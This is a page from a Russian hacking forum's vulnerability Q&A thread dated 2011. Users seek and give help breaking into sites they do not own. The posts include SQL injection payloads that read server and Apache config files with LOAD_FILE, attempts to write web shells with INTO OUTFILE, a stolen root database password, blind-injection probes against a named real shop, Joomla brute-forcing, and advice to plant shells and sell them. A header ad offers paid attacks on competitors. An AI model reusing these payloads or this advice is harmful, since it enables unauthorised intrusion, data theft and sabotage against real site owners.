Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1865 из 2438

1865

Опции темы

Поиск в этой теме

Опции просмотра

#18641

26.11.2011, 15:33

stepashka_

Познавший АНТИЧАТ

Регистрация: 09.11.2009

Сообщений: 1,077

С нами: 8686406

Репутация: 265

Цитата:

Сообщение от boortyhuhtyu

нет ето не вариант дядя монеты нужны.

Если админы нормальные, могут отблагодарить ну или залей шеллы и продай

#18642

26.11.2011, 15:39

boortyhuhtyu

Постоянный

Регистрация: 02.02.2011

Сообщений: 727

С нами: 8039126

Репутация: -6

Цитата:

Сообщение от d1v

тогда иди на завод. и вообще ты разделом ошибся. не пиши сюда больше.

иди на завод сам еп.

#18643

26.11.2011, 20:15

Aniweste

Новичок

Регистрация: 28.05.2010

Сообщений: 0

С нами: 8397749

Репутация: 0

Здравствуйте ещё раз. Интересует следующий вопрос:

Имеется доступ к phpmyadmin.

Права пользователя: ALL PRIVILEGES

Версия phpmyadmin: 3.3.4

Sql-injection на сайте не приводит к раскрытию путей.

Какие есть способы залить шелл?

Спасибо за ответ.

#18644

26.11.2011, 20:23

PRosTo_LEva

Новичок

Регистрация: 18.04.2007

Сообщений: 1

С нами: 10035004

Репутация: 0

Предположение - если временно сменить название базы данных - скрипт при попытке подключится выдаст ошибку с раскрытием путей.

#18645

26.11.2011, 21:32

Boolean

Участник форума

Регистрация: 05.09.2010

Сообщений: 147

С нами: 8255126

Репутация: 78

Цитата:

Сообщение от Aniweste

Здравствуйте ещё раз. Интересует следующий вопрос:
Имеется доступ к phpmyadmin.
Права пользователя: ALL PRIVILEGES
Версия phpmyadmin: 3.3.4
Sql-injection на сайте не приводит к раскрытию путей.
Какие есть способы залить шелл?
Спасибо за ответ.

LOAD_FILE('/путь/до/конфиг/апача');

Список можно посмотреть тут: /thread49775.html

#18646

26.11.2011, 23:45

Aniweste

Новичок

Регистрация: 28.05.2010

Сообщений: 0

С нами: 8397749

Репутация: 0

Цитата:

Сообщение от Boolean

LOAD_FILE('/путь/до/конфиг/апача');
Список можно посмотреть тут: /thread49775.html

Делаю sql-запрос - получаю ответ

Код:

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD_FILE('/etc/apache/conf/httpd.conf')' at line 1

Что именно я делаю не правильно?

#18647

27.11.2011, 00:46

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

С нами: 9642449

Репутация: 606

Цитата:

Сообщение от Aniweste

Делаю sql-запрос - получаю ответ

Код:

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD_FILE('/etc/apache/conf/httpd.conf')' at line 1

Что именно я делаю не правильно?

select LOAD_FILE('/etc/apache/conf/httpd.conf')

#18648

27.11.2011, 01:57

nakurukataоm

Новичок

Регистрация: 05.09.2010

Сообщений: 25

С нами: 8255126

Репутация: 0

Здравствуйте, у меня есть вопрос по nmap:

Распознаёт ли nmap кириллицу? Хочу использовать функцию брута joomla на форуме, но все ники кириллицей и пароли кириллицей сразу отправляются в невалид. как с этим можно побороться?

#18649

27.11.2011, 11:19

lion-art

Познающий

Регистрация: 30.10.2011

Сообщений: 37

С нами: 7650326

Репутация: 1

тем кто знает хорошо тему заливки файлов.

Цитата:

Сообщение от lion-art

Как всегда начну с фразы: "Уважаемые знатоки!"
Есть сайт:
1)file_priv=y
2)mq=off
3) есть /test.php
3) Доступ 4х администраторов в админку есть, доступ в админку www.site.ru/cms) - так он не пускает но если через www.site.ru/index.php/cms тогда пускает но не выполняются скрипты.
4) прочитан config.ini есть пароль root к базе. Но путь до самой базы не известен.
Теперь самое интересное:
config.ini прочитан так:
index/***/id/*21'+or+1+group+by+concat(mid(load_file(0xздес ьхеш),50,163),floor(rand(0)*2))+having+min(0)+ or+1+--+
запрос на запись делаем так: /image/*****/id/*53+and+(select+'+into+outfile+')+!=1
результат - ошибка но через пару часов при
/image/*****/id/*53 без инъекта появляется следущее:
яШяаJFIFHHяб4ExifII*bj( 1r2Ћi‡¤шЂь 'Ђь 'Adobe Photoshop CS2 Windows2011:07:05 16:16:46†’Ъ яя Ж zLEAD Technologies Inc. V1.01FN(VЦHHяШ� �аJFIFHHянAdobe_CMяоAdobedЂяЫ„ яАc "яЭ яД? 3!1AQa"qЃ2‘Ў
и т.д...
ВНИМАНИЕ ВОПРОС!
На сколько высока вероятность то что into outfile не получится (доходчиво: шелл не зальется?)
P.S. возможно не правильный запрос но если запрос сделать так
/image/*****/id/*53+and+'select+'+into+outfile+'+!=1'
то ошибка такова:
Invalid query: File ' !=1' already exists
Спасибо за внимание надеюсь на коментарии, может у кого-то похожая ситуация была.

Если что пишите в ПМ все остальное не могу выложить в паблик

#18650

27.11.2011, 11:34

lightangel

Познающий

Регистрация: 07.11.2011

Сообщений: 91

С нами: 7638806

Репутация: -6

http://www.shopoldcoloradocity.com/content.php?id=-97+order+14-- (FALSE)

http://www.shopoldcoloradocity.com/content.php?id=-97 1=1 (Blind working)

http://www.shopoldcoloradocity.com/content.php?id=-97 and substring(@@version,1,1)=4

Unknown column '20and' in 'where clause

Even

http://www.shopoldcoloradocity.com/content.php?id=-97 and substring(@@version,1,1)=5

Any solution?

Страница 1865 из 2438

1865

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 93 (пользователей: 0 , гостей: 93)

Быстрый переход